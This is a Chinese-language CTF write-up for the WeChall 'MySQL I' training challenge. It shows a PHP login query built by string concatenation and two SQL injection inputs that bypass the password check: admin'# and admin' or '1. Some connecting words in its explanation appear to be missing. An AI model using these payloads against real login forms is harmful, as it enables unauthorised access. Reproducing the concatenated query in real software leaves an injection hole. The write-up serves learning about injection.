分析

题目已给判断登陆成功代码,第42行定义了查询语句。

验证代码

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

方法一

username输入 admin'# 即可登录。

原理:用Mysql单行注释符号#将后半句AND语句注释掉。

$query = "SELECT * FROM users WHERE username='admin'#' AND password='$password'";

构成SQL语句

SELECT * FROM users WHERE username='admin'

故而登录成功。 补充:之所以不是php注释,是因为#在双引号中,只会显示它的字面量。

同样可以用-- --的后面要加空格,详情参考MySQL的注释 - 简书

方法二

username输入 admin' or '1 即可登录。

构成SQL语句

SELECT * FROM users WHERE username='admin' or '1' AND password='$password'

这里的1可以换成其他非空字符。

因为orand的前面,所以可以理解成username='admin'
'1' AND password='$password' 进行运算, 因此即使第二部分是,整条语句也是真的。


参考:

Wechall刷题(二) Training: MySQL I 总结 - leeham的博客 - CSDN博客